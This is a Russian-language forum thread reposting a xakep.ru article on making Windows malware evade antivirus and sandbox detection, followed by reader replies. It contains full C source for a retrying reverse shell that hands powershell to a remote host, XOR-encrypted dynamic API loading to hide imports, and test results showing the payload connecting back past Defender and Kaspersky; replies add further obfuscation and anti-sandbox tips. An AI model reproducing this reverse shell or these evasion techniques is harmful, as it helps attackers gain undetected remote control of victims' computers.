Код:
#include <stdio.h>
int main()
{
    char command[] = "powershell";
    printf("command: %s\n", command);
    return 0;
}
В том, что не будет ложноположительных результатов, уверенности не было с самого начала.

Начнем c реальных машин. К сожалению, у меня не так много тестовых компьютеров, поэтому я провел всего два теста. При запуске, как и должно было получиться, прилетели отстуки со следующими именами:
Код:
id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-VAJCHE')
status code: 0
id: Tapping
('user_ip', None)
('user_agent', 'WinInet_Post')
('date', '<date>')
('Width', <width>)
('Longitude', <longitude>)
('hostname', '\x0fDESKTOP-AATCVQ')
status code: 0
А теперь реальные тесты!

VirusTotal​

В первую очередь я решил протестировать VirusTotal.

20250513171451.png
20250513171554.png
20250514171153.png


А вот и проверка в песочницах.

20250513171633.png
20250514135418.png


Как видно, те функции, которые мы проксировали из DLL, здесь не засветились.

20250513172659.png


20250513172721.png


20250513172820.png


И тут моего IP нет (это трафик из Microsoft Sysinternals).

20250513173033.png


Kaspersky​

А вот результаты динамического сканирования от Kaspersky.

20250513171800.png


20250513171820.png


20250513171847.png


Статический анализ также не выявил, какие функции Win32 API использовались в программе.

20250514155143.png


Запросов в интернет тоже не было.

20250514155305.png

В итоге я не получил ни одного запроса. Можно сделать вывод, что песочницы были обнаружены и программа занялась подсчетом чисел. Но мою программу сложно назвать точно работающей, потому как выборка на реальных физических машинах слишком мала, чтобы уверенно говорить о результате. Например, изначально при обнаружении виртуального MAC-адреса я начислял семь баллов, но потом изменил на четыре, так как в реальной машине может присутствовать виртуальный адаптер Hyper-V Virtual Ethernet Adapter. Но все же результатом я доволен.

Однако у нас не использовалось никакой реально зловредной полезной нагрузки. Как насчет сокрытия чего‑то «такого»? Для примера возьмем reverse shell с сайта revshells.com, а именно код для Windows на C. Модифицирую его, чтобы в случае, если программа не сможет подключиться, она предприняла еще одну попытку позже:
Код:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16] = "ip";
char port[6] = "port";
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main()
{
  int i = 0;
  while ( i == 0 ){
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    struct hostent *host;
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));
    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);
    int result;
    result = WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (result != -1) {
      memset(&ini_processo, 0, sizeof(ini_processo));
      ini_processo.cb = sizeof(ini_processo);
      ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
      ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
      TCHAR cmd[255] = TEXT("powershell.exe");
      CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
      i = 1;
      }
    else
      Sleep(60000);
  }
  return 0;
}
Этот код я уже светил на VirusTotal и Kaspersky, поэтому он должен детектиться как зловредный.

Все функции мы также проксируем, строковые переменные видоизменяем в массивы. Теперь, если виртуальная среда не будет обнаружена, должен прилететь POST-запрос с Hostname машины и за ним устанавливаться подключение reverse shell.

Так выглядит подключение с реальной машины.
20250514120706.png


VirusTotal​

Вот результат тестирования программы с полезной нагрузкой на VirusTotal.

20250514120238.png


20250514120314.png
20250514135446.png


Kaspersky​

А вот результаты проверки в инфраструктуре Kaspersky.

20250514120448.png
20250514120502.png
20250514120516.png

А теперь протестируем программы с включенным антивирусом на компьютере.

Для тестов у меня их будет всего два: Microsoft Defender и Kaspersky. Для начала протестируем с Defender’ом.

20250514143747.png


Запускаю скрипт и жду подключения. И я его получил!

20250514152011.png


Теперь делаем то же самое, только с Kaspersky Endpoint Security.

20250514144314.png

И он тоже промолчал: удаленная машина подключилась к серверу.

20250514150224.png

Но частично функции обхода песочниц антивирус все‑таки обнаружил.

20250515140343.png

Поэтому я решил зашифровать строки c использованием XOR и посмотреть, что будет. Например, так теперь выглядит проксирование функции GetSystemInfo:
Код:
void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
    // Создаем тип pGetSystemInfo, который представляет указатель на функцию,
    // принимающую указатель на SYSTEM_INFO и не возвращающую значение.
    // Это позволит динамически загружать функцию GetSystemInfo.
    typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);
    // Ключ для дешифровки зашифрованных имен
    const char *key = "DFEWPWPDSPFEPWEQOUSDFUIKKSLASDJQFSSKFLWKSKEFJLSS";
    // Зашифрованное имя функции "GetSystemInfo"
    // char funcName[] = "GetSystemInfo";
    // char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
    char funcName[14] = {0x03, 0x23, 0x31, 0x04, 0x29, 0x24, 0x24, 0x21, 0x3E, 0x19, 0x28, 0x23, 0x3F, 0x00};
    Xor_Dencrypt(funcName, strlen(funcName), key);
    // Зашифрованное имя библиотеки "kernel32.dll"
    // char name_dll[] = "kernel32.dll";
    // char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    char name_dll[13] = {0x2F, 0x23, 0x37, 0x39, 0x35, 0x3B, 0x63, 0x76, 0x7D, 0x34, 0x2A, 0x29, 0x00};
    Xor_Dencrypt(name_dll, strlen(name_dll), key);
    // Загружаем дескриптор библиотеки kernel32.dll, которая содержит GetSystemInfo
    HMODULE hKernel32 = LoadLibraryA(name_dll);
    // Получаем адрес функции GetSystemInfo в этой библиотеке
    pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress(hKernel32, funcName);
    // Если функция загружена, вызываем ее
    if (GetSystemInfoFunc != NULL) {
        // Вызов функции GetSystemInfo
        GetSystemInfoFunc(lpSystemInfo);
    } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }
    // Освобождаем загруженную библиотеку
    FreeLibrary(hKernel32);
}
Полученный результат обнадеживает.
20250516141343.png


20250516143135.png


Ушло упоминание об anti-analysis.
20250516142902.png


20250516142808.png


А вот результат от Kaspersky.
20250519110346.png

Ни один запрос так и не прилетел. В общем, Symantec обойти тоже не удалось. Как я понял, это широко используемое за рубежом антивирусное ПО, но про него мне вообще почти ничего не известно. Также Deep Instinct, SecureAge и Elastic пометили нагрузку как зловредную. Но полученный результат лучше, чем без шифрования строк.

Вместо вывода​

Этим примером я хотел продемонстрировать, что лучшим антивирусным решением до сих пор остается светлая голова: далеко не всегда антивирусные решения, а также анализаторы могут обнаружить зловреды. И нет, я не говорю, что антивирусы не нужны: сам сижу с включенным антивирусом и при этом в свое время умудрился словить майнер. Лучше придерживаться банального правила: не запускать подозрительные программы, поскольку даже их проверка на виртуальных машинах или на таких сайтах, как VirusTotal, не даст стопроцентной гарантии безопасности.


Автор @mister-utka, Данила Лебедев
telegram: https://t.me/u_t_k_a
Источник xakep.ru
 
Теперь нужно изменить наименования. Для этого я написал простой скрипт на Python, и теперь обфусцированная функция проксирования ProxyGetSystemInfo выглядит так:
Код:
Код:
void hkgnxQepjmjsmmndk(LPSYSTEM_INFO qvkajTyhuqevm) {
typedef void(WINAPI* fldzzGflcclknthgw)(LPSYSTEM_INFO);
char ydvyzAfgwfvmcefnzj[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
char mcfdgNqypgvahfal[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
HMODULE yinkaJpaggo = LoadLibraryA(mcfdgNqypgvahfal);
fldzzGflcclknthgw mbiloJfyaumc = (fldzzGflcclknthgw)GetProcAddress(yinkaJpaggo, ydvyzAfgwfvmcefnzj);
if (mbiloJfyaumc != NULL) {
mbiloJfyaumc(qvkajTyhuqevm);
} else {
// printf("Error: GetSystemInfo function not found!\n");
exit(1);
}
FreeLibrary(yinkaJpaggo);
}
Смотрим, есть ли какое‑то упоминание о GetSystemInfo в файле:
Код:
Код:
strings main.exe | grep GetSystemInfo
Отлично. На самом деле обфусцировать переменные, которые находятся внутри функций (то есть локальные), нет смысла, они все равно не отображаются при статическом анализе файла. Главное — обфусцировать имена функций,
видимо pdb не судьба была отключить для супер обфускации.
 
Это пожалуй единственное адекватное решение ( хоть и очень старое ) в обходе VirusTotal которое появлялось на этом форуме. Предыдущие попытки сводились к постоянному мониторингу айпишников подсетей VirusTotal.
 
Решение конечно интересное, но лично я привык писать анти-сэндбокс логику на основе отслеживания поведения курсора пользователя и кликов, если не ошибаюсь то подобное использовалось в люмме. Из плюсов - очень просто реализовать, не будет препятствовать развертыванию на системах реальных юзеров и точно так же выходит ~4-5 детектов (Компилю бинари на голанге)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх